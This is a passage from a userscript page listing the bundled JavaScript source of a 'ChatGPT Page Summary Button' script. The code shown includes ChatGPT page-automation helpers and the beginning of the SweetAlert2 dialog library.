ChatGPT 页面摘要按钮

🍓 让 ChatGPT 一键总结您正在阅读的网页

当前为 2023-08-04 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-page-summary-button
  3. // @description 🍓 let ChatGPT summary the web page you are reading in one click
  4. // @author mefengl
  5. // @version 0.6.9
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_setValue
  12. // @grant GM_getValue
  13. // @grant GM_registerMenuCommand
  14. // @grant GM_unregisterMenuCommand
  15. // @grant GM_addValueChangeListener
  16.  
  17. // @name:en ChatGPT Page Summary Button
  18. // @description:en 🍓 let ChatGPT summarize the web page you are reading in one click
  19. // @name:zh-CN ChatGPT 页面摘要按钮
  20. // @description:zh-CN 🍓 让 ChatGPT 一键总结您正在阅读的网页
  21. // @name:es Botón de resumen de página de ChatGPT
  22. // @description:es 🍓 permite que ChatGPT resuma la página web que estás leyendo con un solo clic
  23. // @name:hi ChatGPT पृष्ठ सारांश बटन
  24. // @description:hi 🍓 ChatGPT को वेबपेज जो आप पढ़ रहे हैं को एक क्लिक में संक्षेप में देने दें
  25. // @name:ar زر ملخص الصفحة لـ ChatGPT
  26. // @description:ar 🍓 دع ChatGPT يلخص صفحة الويب التي تقرأها بنقرة واحدة
  27. // @name:pt Botão de resumo de página do ChatGPT
  28. // @description:pt 🍓 permita que o ChatGPT resuma a página da web que você está lendo com um clique
  29. // @name:ru Кнопка резюме страницы ChatGPT
  30. // @description:ru 🍓 позволяет ChatGPT кратко описывать веб-страницу, которую вы читаете, одним щелчком мыши
  31. // @name:ja ChatGPTページ要約ボタン
  32. // @description:ja 🍓 ChatGPTで読んでいるWebページをワンクリックで要約
  33. // @name:de ChatGPT-Seitenzusammenfassungs-Button
  34. // @description:de 🍓 Lassen Sie ChatGPT die Webseite, die Sie gerade lesen, mit einem Klick zusammenfassen
  35. // @name:fr Bouton de résumé de page ChatGPT
  36. // @description:fr 🍓 laissez ChatGPT résumer la page Web que vous lisez en un seul clic
  37. // ==/UserScript==
  38. "use strict";
  39. (() => {
  40. var __create = Object.create;
  41. var __defProp = Object.defineProperty;
  42. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  43. var __getOwnPropNames = Object.getOwnPropertyNames;
  44. var __getProtoOf = Object.getPrototypeOf;
  45. var __hasOwnProp = Object.prototype.hasOwnProperty;
  46. var __commonJS = (cb, mod) => function __require() {
  47. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  48. };
  49. var __copyProps = (to, from, except, desc) => {
  50. if (from && typeof from === "object" || typeof from === "function") {
  51. for (let key of __getOwnPropNames(from))
  52. if (!__hasOwnProp.call(to, key) && key !== except)
  53. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  54. }
  55. return to;
  56. };
  57. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  58. // If the importer is in node compatibility mode or this is not an ESM
  59. // file that has been converted to a CommonJS file using a Babel-
  60. // compatible transform (i.e. "__esModule" has not been set), then set
  61. // "default" to the CommonJS "module.exports" for node compatibility.
  62. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  63. mod
  64. ));
  65. var __async = (__this, __arguments, generator) => {
  66. return new Promise((resolve, reject) => {
  67. var fulfilled = (value) => {
  68. try {
  69. step(generator.next(value));
  70. } catch (e) {
  71. reject(e);
  72. }
  73. };
  74. var rejected = (value) => {
  75. try {
  76. step(generator.throw(value));
  77. } catch (e) {
  78. reject(e);
  79. }
  80. };
  81. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  82. step((generator = generator.apply(__this, __arguments)).next());
  83. });
  84. };
  85.  
  86. // ../../packages/chatkit/dist/chatgpt/index.js
  87. var require_chatgpt = __commonJS({
  88. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  89. "use strict";
  90. var __defProp2 = Object.defineProperty;
  91. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  92. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  93. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  94. var __export = (target, all) => {
  95. for (var name in all)
  96. __defProp2(target, name, { get: all[name], enumerable: true });
  97. };
  98. var __copyProps2 = (to, from, except, desc) => {
  99. if (from && typeof from === "object" || typeof from === "function") {
  100. for (let key of __getOwnPropNames2(from))
  101. if (!__hasOwnProp2.call(to, key) && key !== except)
  102. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  103. }
  104. return to;
  105. };
  106. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  107. var chatgpt_exports = {};
  108. __export(chatgpt_exports, {
  109. clickFollowUpButton: () => clickFollowUpButton,
  110. getButton: () => getButton,
  111. getContinueGeneratingButton: () => getContinueGeneratingButton,
  112. getConversation: () => getConversation,
  113. getCopyLinkButton: () => getCopyLinkButton,
  114. getFollowUpButtons: () => getFollowUpButtons,
  115. getHistoryBlockTitle: () => getHistoryBlockTitle,
  116. getHistoryBlocks: () => getHistoryBlocks,
  117. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  118. getInitialButtons: () => getInitialButtons,
  119. getLastResponse: () => getLastResponse,
  120. getLastResponseElement: () => getLastResponseElement,
  121. getModelSelectButton: () => getModelSelectButton,
  122. getNav: () => getNav,
  123. getNewModelSelectButtons: () => getNewModelSelectButtons,
  124. getRegenerateButton: () => getRegenerateButton,
  125. getResponseElementHTMLs: () => getResponseElementHTMLs2,
  126. getShareChatButton: () => getShareChatButton,
  127. getStopGeneratingButton: () => getStopGeneratingButton,
  128. getSubmitButton: () => getSubmitButton,
  129. getTextarea: () => getTextarea,
  130. getTextareaValue: () => getTextareaValue,
  131. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  132. isConversationStarted: () => isConversationStarted,
  133. isGenerating: () => isGenerating,
  134. isHorizontalConversation: () => isHorizontalConversation,
  135. onSend: () => onSend,
  136. regenerate: () => regenerate,
  137. send: () => send,
  138. setHorizontalConversation: () => setHorizontalConversation,
  139. setPromptListener: () => setPromptListener2,
  140. setPureConversation: () => setPureConversation,
  141. setTextarea: () => setTextarea,
  142. waitForIdle: () => waitForIdle
  143. });
  144. module.exports = __toCommonJS(chatgpt_exports);
  145. function getNav() {
  146. return document.querySelector("nav");
  147. }
  148. function getHistoryBlocks() {
  149. const nav = getNav();
  150. if (!nav)
  151. return [];
  152. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  153. return result;
  154. }
  155. function getHistoryBlockTitle(historyBlock) {
  156. var _a;
  157. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  158. }
  159. function getHistoryBlocksWithTitle() {
  160. const historyBlocks = getHistoryBlocks();
  161. const result = historyBlocks.map((historyBlock) => ({
  162. block: historyBlock,
  163. title: getHistoryBlockTitle(historyBlock)
  164. }));
  165. return result;
  166. }
  167. function getTextarea() {
  168. const form = document.querySelector("form");
  169. if (!form)
  170. return;
  171. const textareas = form.querySelectorAll("textarea");
  172. const result = textareas[0];
  173. return result;
  174. }
  175. function getSubmitButton() {
  176. const textarea = getTextarea();
  177. if (!textarea)
  178. return;
  179. return textarea.nextElementSibling;
  180. }
  181. function getInitialButtons() {
  182. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => button.querySelectorAll(".truncate").length === 2);
  183. }
  184. function getFollowUpButtons() {
  185. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => {
  186. var _a;
  187. return (_a = button.textContent) == null ? void 0 : _a.trim().match(/[.!?]$/);
  188. });
  189. }
  190. function clickFollowUpButton(index) {
  191. const followUpButtons = getFollowUpButtons();
  192. if (followUpButtons.length === 0)
  193. return;
  194. if (index === void 0 || index < 0 || index >= followUpButtons.length) {
  195. index = Math.floor(Math.random() * followUpButtons.length);
  196. }
  197. followUpButtons[index].click();
  198. }
  199. function getButton(text) {
  200. return Array.from(document.querySelectorAll('button[as="button"]')).find((button) => {
  201. var _a;
  202. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes(text);
  203. });
  204. }
  205. function getRegenerateButton() {
  206. return getButton("regenerate");
  207. }
  208. function getContinueGeneratingButton() {
  209. return getButton("continue");
  210. }
  211. function getStopGeneratingButton() {
  212. return getButton("stop");
  213. }
  214. function getResponseElementHTMLs2() {
  215. return Array.from(document.querySelectorAll(".markdown")).map((m) => m.innerHTML);
  216. }
  217. function getLastResponseElement() {
  218. const responseElements = document.querySelectorAll(".group.w-full");
  219. return responseElements[responseElements.length - 1];
  220. }
  221. function getLastResponse() {
  222. const lastResponseElement = getLastResponseElement();
  223. if (!lastResponseElement)
  224. return;
  225. const lastResponse = lastResponseElement.textContent;
  226. return lastResponse;
  227. }
  228. function getTextareaValue() {
  229. var _a;
  230. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  231. }
  232. function setTextarea(message) {
  233. const textarea = getTextarea();
  234. if (!textarea)
  235. return;
  236. textarea.value = message;
  237. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  238. }
  239. function send(message) {
  240. return __async(this, null, function* () {
  241. setTextarea(message);
  242. const textarea = getTextarea();
  243. if (!textarea)
  244. return;
  245. while (textarea.value === message) {
  246. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  247. yield new Promise((resolve) => setTimeout(resolve, 100));
  248. }
  249. });
  250. }
  251. function regenerate() {
  252. const regenerateButton = getRegenerateButton();
  253. if (!regenerateButton)
  254. return;
  255. regenerateButton.click();
  256. }
  257. function onSend(callback) {
  258. const textarea = getTextarea();
  259. if (!textarea)
  260. return;
  261. textarea.addEventListener("keydown", function(event) {
  262. if (event.key === "Enter" && !event.shiftKey) {
  263. callback();
  264. }
  265. });
  266. const sendButton = getSubmitButton();
  267. if (!sendButton)
  268. return;
  269. sendButton.addEventListener("mousedown", callback);
  270. }
  271. function isGenerating() {
  272. var _a, _b;
  273. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  274. }
  275. function waitForIdle() {
  276. return new Promise((resolve) => {
  277. const interval = setInterval(() => {
  278. if (!isGenerating()) {
  279. clearInterval(interval);
  280. resolve();
  281. }
  282. }, 1e3);
  283. });
  284. }
  285. function setPromptListener2(key = "prompt_texts") {
  286. let last_trigger_time = +/* @__PURE__ */ new Date();
  287. if (location.href.includes("chat.openai")) {
  288. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  289. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  290. return;
  291. }
  292. last_trigger_time = +/* @__PURE__ */ new Date();
  293. setTimeout(() => __async(this, null, function* () {
  294. var _a, _b;
  295. const prompt_texts = new_value;
  296. const isLong = prompt_texts.length > 60;
  297. if (prompt_texts.length > 0) {
  298. let firstTime = true;
  299. while (prompt_texts.length > 0) {
  300. const waitTime = isLong && !document.hasFocus() ? 20 * 1e3 : 2e3;
  301. if (!firstTime) {
  302. yield new Promise((resolve) => setTimeout(resolve, waitTime));
  303. }
  304. if (!firstTime && isGenerating()) {
  305. continue;
  306. } else if (getContinueGeneratingButton()) {
  307. (_a = getContinueGeneratingButton()) == null ? void 0 : _a.click();
  308. continue;
  309. } else if (getRegenerateButton() && !getTextarea()) {
  310. yield new Promise((resolve) => setTimeout(resolve, 10 * 1e3));
  311. (_b = getRegenerateButton()) == null ? void 0 : _b.click();
  312. continue;
  313. }
  314. firstTime = false;
  315. yield send(prompt_texts.shift() || "");
  316. }
  317. }
  318. }), 0);
  319. GM_setValue(key, []);
  320. }));
  321. }
  322. }
  323. function getConversation() {
  324. var _a, _b;
  325. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  326. }
  327. function getModelSelectButton() {
  328. const conversation = getConversation();
  329. if (!conversation)
  330. return;
  331. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  332. var _a;
  333. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  334. });
  335. }
  336. function getNewModelSelectButtons() {
  337. return Array.from(document.querySelectorAll("[class^='group/button']"));
  338. }
  339. function hasNewModelSelectButtons() {
  340. return getNewModelSelectButtons().length > 0;
  341. }
  342. function isConversationStarted() {
  343. return !getModelSelectButton();
  344. }
  345. function setPureConversation() {
  346. const conversation = getConversation();
  347. if (!conversation)
  348. return;
  349. const firstChild = conversation.firstChild;
  350. if (!firstChild)
  351. return;
  352. const newDiv = document.createElement("div");
  353. conversation.insertBefore(newDiv, firstChild.nextSibling);
  354. }
  355. function isHorizontalConversation() {
  356. const conversation = getConversation();
  357. if (!conversation)
  358. return true;
  359. if (!isConversationStarted())
  360. return true;
  361. return conversation.classList.contains("grid");
  362. }
  363. function setHorizontalConversation() {
  364. if (isHorizontalConversation())
  365. return;
  366. setPureConversation();
  367. const conversation = getConversation();
  368. if (!conversation)
  369. return;
  370. conversation.classList.remove("flex", "flex-col", "items-center");
  371. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  372. }
  373. function getShareChatButton() {
  374. return document.querySelector('button[aria-label="Share chat"]');
  375. }
  376. function getCopyLinkButton() {
  377. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => {
  378. var _a;
  379. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("copy link");
  380. })[0];
  381. }
  382. }
  383. });
  384.  
  385. // ../../packages/chatkit/chatgpt.js
  386. var require_chatgpt2 = __commonJS({
  387. "../../packages/chatkit/chatgpt.js"(exports, module) {
  388. module.exports = require_chatgpt();
  389. }
  390. });
  391.  
  392. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  393. var require_sweetalert2_all = __commonJS({
  394. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  395. (function(global, factory) {
  396. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  397. })(exports, function() {
  398. "use strict";
  399. const RESTORE_FOCUS_TIMEOUT = 100;
  400. const globalState = {};
  401. const focusPreviousActiveElement = () => {
  402. if (globalState.previousActiveElement instanceof HTMLElement) {
  403. globalState.previousActiveElement.focus();
  404. globalState.previousActiveElement = null;
  405. } else if (document.body) {
  406. document.body.focus();
  407. }
  408. };
  409. const restoreActiveElement = (returnFocus) => {
  410. return new Promise((resolve) => {
  411. if (!returnFocus) {
  412. return resolve();
  413. }
  414. const x = window.scrollX;
  415. const y = window.scrollY;
  416. globalState.restoreFocusTimeout = setTimeout(() => {
  417. focusPreviousActiveElement();
  418. resolve();
  419. }, RESTORE_FOCUS_TIMEOUT);
  420. window.scrollTo(x, y);
  421. });
  422. };
  423. var privateProps = {
  424. promise: /* @__PURE__ */ new WeakMap(),
  425. innerParams: /* @__PURE__ */ new WeakMap(),
  426. domCache: /* @__PURE__ */ new WeakMap()
  427. };
  428. const swalPrefix = "swal2-";
  429. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  430. const swalClasses = classNames.reduce(
  431. (acc, className) => {
  432. acc[className] = swalPrefix + className;
  433. return acc;
  434. },
  435. /** @type {SwalClasses} */
  436. {}
  437. );
  438. const icons = ["success", "warning", "info", "question", "error"];
  439. const iconTypes = icons.reduce(
  440. (acc, icon) => {
  441. acc[icon] = swalPrefix + icon;
  442. return acc;
  443. },
  444. /** @type {SwalIcons} */
  445. {}
  446. );
  447. const consolePrefix = "SweetAlert2:";
  448. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  449. const warn = (message) => {
  450. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  451. };
  452. const error = (message) => {
  453. console.error(`${consolePrefix} ${message}`);
  454. };
  455. const previousWarnOnceMessages = [];
  456. const warnOnce = (message) => {
  457. if (!previousWarnOnceMessages.includes(message)) {
  458. previousWarnOnceMessages.push(message);
  459. warn(message);
  460. }
  461. };
  462. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  463. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  464. };
  465. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  466. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  467. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  468. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  469. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  470. const elementBySelector = (selectorString) => {
  471. const container = getContainer();
  472. return container ? container.querySelector(selectorString) : null;
  473. };
  474. const elementByClass = (className) => {
  475. return elementBySelector(`.${className}`);
  476. };
  477. const getPopup = () => elementByClass(swalClasses.popup);
  478. const getIcon = () => elementByClass(swalClasses.icon);
  479. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  480. const getTitle = () => elementByClass(swalClasses.title);
  481. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  482. const getImage = () => elementByClass(swalClasses.image);
  483. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  484. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  485. const getConfirmButton = () => (
  486. /** @type {HTMLButtonElement} */
  487. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  488. );
  489. const getCancelButton = () => (
  490. /** @type {HTMLButtonElement} */
  491. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  492. );
  493. const getDenyButton = () => (
  494. /** @type {HTMLButtonElement} */
  495. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  496. );
  497. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  498. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  499. const getActions = () => elementByClass(swalClasses.actions);
  500. const getFooter = () => elementByClass(swalClasses.footer);
  501. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  502. const getCloseButton = () => elementByClass(swalClasses.close);
  503. const focusable = `
  504. a[href],
  505. area[href],
  506. input:not([disabled]),
  507. select:not([disabled]),
  508. textarea:not([disabled]),
  509. button:not([disabled]),
  510. iframe,
  511. object,
  512. embed,
  513. [tabindex="0"],
  514. [contenteditable],
  515. audio[controls],
  516. video[controls],
  517. summary
  518. `;
  519. const getFocusableElements = () => {
  520. const popup = getPopup();
  521. if (!popup) {
  522. return [];
  523. }
  524. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  525. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  526. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  527. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  528. if (tabindexA > tabindexB) {
  529. return 1;
  530. } else if (tabindexA < tabindexB) {
  531. return -1;
  532. }
  533. return 0;
  534. });
  535. const otherFocusableElements = popup.querySelectorAll(focusable);
  536. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  537. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  538. };
  539. const isModal = () => {
  540. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  541. };
  542. const isToast = () => {
  543. const popup = getPopup();
  544. if (!popup) {
  545. return false;
  546. }
  547. return hasClass(popup, swalClasses.toast);
  548. };
  549. const isLoading = () => {
  550. const popup = getPopup();
  551. if (!popup) {
  552. return false;
  553. }
  554. return popup.hasAttribute("data-loading");
  555. };
  556. const setInnerHtml = (elem, html) => {
  557. elem.textContent = "";
  558. if (html) {
  559. const parser = new DOMParser();
  560. const parsed = parser.parseFromString(html, `text/html`);
  561. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  562. elem.appendChild(child);
  563. });
  564. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  565. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  566. elem.appendChild(child.cloneNode(true));
  567. } else {
  568. elem.appendChild(child);
  569. }
  570. });
  571. }
  572. };
  573. const hasClass = (elem, className) => {
  574. if (!className) {
  575. return false;
  576. }
  577. const classList = className.split(/\s+/);
  578. for (let i = 0; i < classList.length; i++) {
  579. if (!elem.classList.contains(classList[i])) {
  580. return false;
  581. }
  582. }
  583. return true;
  584. };
  585. const removeCustomClasses = (elem, params) => {
  586. Array.from(elem.classList).forEach((className) => {
  587. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  588. elem.classList.remove(className);
  589. }
  590. });
  591. };
  592. const applyCustomClass = (elem, params, className) => {
  593. removeCustomClasses(elem, params);
  594. if (params.customClass && params.customClass[className]) {
  595. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  596. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  597. return;
  598. }
  599. addClass(elem, params.customClass[className]);
  600. }
  601. };
  602. const getInput$1 = (popup, inputClass) => {
  603. if (!inputClass) {
  604. return null;
  605. }
  606. switch (inputClass) {
  607. case "select":
  608. case "textarea":
  609. case "file":
  610. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  611. case "checkbox":
  612. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  613. case "radio":
  614. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  615. case "range":
  616. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  617. default:
  618. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  619. }
  620. };
  621. const focusInput = (input) => {
  622. input.focus();
  623. if (input.type !== "file") {
  624. const val = input.value;
  625. input.value = "";
  626. input.value = val;
  627. }
  628. };
  629. const toggleClass = (target, classList, condition) => {
  630. if (!target || !classList) {
  631. return;
  632. }
  633. if (typeof classList === "string") {
  634. classList = classList.split(/\s+/).filter(Boolean);
  635. }
  636. classList.forEach((className) => {
  637. if (Array.isArray(target)) {
  638. target.forEach((elem) => {
  639. condition ? elem.classList.add(className) : elem.classList.remove(className);
  640. });
  641. } else {
  642. condition ? target.classList.add(className) : target.classList.remove(className);
  643. }
  644. });
  645. };
  646. const addClass = (target, classList) => {
  647. toggleClass(target, classList, true);
  648. };
  649. const removeClass = (target, classList) => {
  650. toggleClass(target, classList, false);
  651. };
  652. const getDirectChildByClass = (elem, className) => {
  653. const children = Array.from(elem.children);
  654. for (let i = 0; i < children.length; i++) {
  655. const child = children[i];
  656. if (child instanceof HTMLElement && hasClass(child, className)) {
  657. return child;
  658. }
  659. }
  660. };
  661. const applyNumericalStyle = (elem, property, value) => {
  662. if (value === `${parseInt(value)}`) {
  663. value = parseInt(value);
  664. }
  665. if (value || parseInt(value) === 0) {
  666. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  667. } else {
  668. elem.style.removeProperty(property);
  669. }
  670. };
  671. const show = function(elem) {
  672. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  673. elem && (elem.style.display = display);
  674. };
  675. const hide = (elem) => {
  676. elem && (elem.style.display = "none");
  677. };
  678. const setStyle = (parent, selector, property, value) => {
  679. const el = parent.querySelector(selector);
  680. if (el) {
  681. el.style[property] = value;
  682. }
  683. };
  684. const toggle = function(elem, condition) {
  685. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  686. condition ? show(elem, display) : hide(elem);
  687. };
  688. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  689. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  690. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  691. const hasCssAnimation = (elem) => {
  692. const style = window.getComputedStyle(elem);
  693. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  694. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  695. return animDuration > 0 || transDuration > 0;
  696. };
  697. const animateTimerProgressBar = function(timer) {
  698. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  699. const timerProgressBar = getTimerProgressBar();
  700. if (isVisible$1(timerProgressBar)) {
  701. if (reset) {
  702. timerProgressBar.style.transition = "none";
  703. timerProgressBar.style.width = "100%";
  704. }
  705. setTimeout(() => {
  706. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  707. timerProgressBar.style.width = "0%";
  708. }, 10);
  709. }
  710. };
  711. const stopTimerProgressBar = () => {
  712. const timerProgressBar = getTimerProgressBar();
  713. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  714. timerProgressBar.style.removeProperty("transition");
  715. timerProgressBar.style.width = "100%";
  716. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  717. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  718. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  719. };
  720. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  721. const sweetHTML = `
  722. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  723. <button type="button" class="${swalClasses.close}"></button>
  724. <ul class="${swalClasses["progress-steps"]}"></ul>
  725. <div class="${swalClasses.icon}"></div>
  726. <img class="${swalClasses.image}" />
  727. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  728. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  729. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  730. <input type="file" class="${swalClasses.file}" />
  731. <div class="${swalClasses.range}">
  732. <input type="range" />
  733. <output></output>
  734. </div>
  735. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  736. <div class="${swalClasses.radio}"></div>
  737. <label class="${swalClasses.checkbox}">
  738. <input type="checkbox" id="${swalClasses.checkbox}" />
  739. <span class="${swalClasses.label}"></span>
  740. </label>
  741. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  742. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  743. <div class="${swalClasses.actions}">
  744. <div class="${swalClasses.loader}"></div>
  745. <button type="button" class="${swalClasses.confirm}"></button>
  746. <button type="button" class="${swalClasses.deny}"></button>
  747. <button type="button" class="${swalClasses.cancel}"></button>
  748. </div>
  749. <div class="${swalClasses.footer}"></div>
  750. <div class="${swalClasses["timer-progress-bar-container"]}">
  751. <div class="${swalClasses["timer-progress-bar"]}"></div>
  752. </div>
  753. </div>
  754. `.replace(/(^|\n)\s*/g, "");
  755. const resetOldContainer = () => {
  756. const oldContainer = getContainer();
  757. if (!oldContainer) {
  758. return false;
  759. }
  760. oldContainer.remove();
  761. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  762. return true;
  763. };
  764. const resetValidationMessage$1 = () => {
  765. globalState.currentInstance.resetValidationMessage();
  766. };
  767. const addInputChangeListeners = () => {
  768. const popup = getPopup();
  769. const input = getDirectChildByClass(popup, swalClasses.input);
  770. const file = getDirectChildByClass(popup, swalClasses.file);
  771. const range = popup.querySelector(`.${swalClasses.range} input`);
  772. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  773. const select = getDirectChildByClass(popup, swalClasses.select);
  774. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  775. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  776. input.oninput = resetValidationMessage$1;
  777. file.onchange = resetValidationMessage$1;
  778. select.onchange = resetValidationMessage$1;
  779. checkbox.onchange = resetValidationMessage$1;
  780. textarea.oninput = resetValidationMessage$1;
  781. range.oninput = () => {
  782. resetValidationMessage$1();
  783. rangeOutput.value = range.value;
  784. };
  785. range.onchange = () => {
  786. resetValidationMessage$1();
  787. rangeOutput.value = range.value;
  788. };
  789. };
  790. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  791. const setupAccessibility = (params) => {
  792. const popup = getPopup();
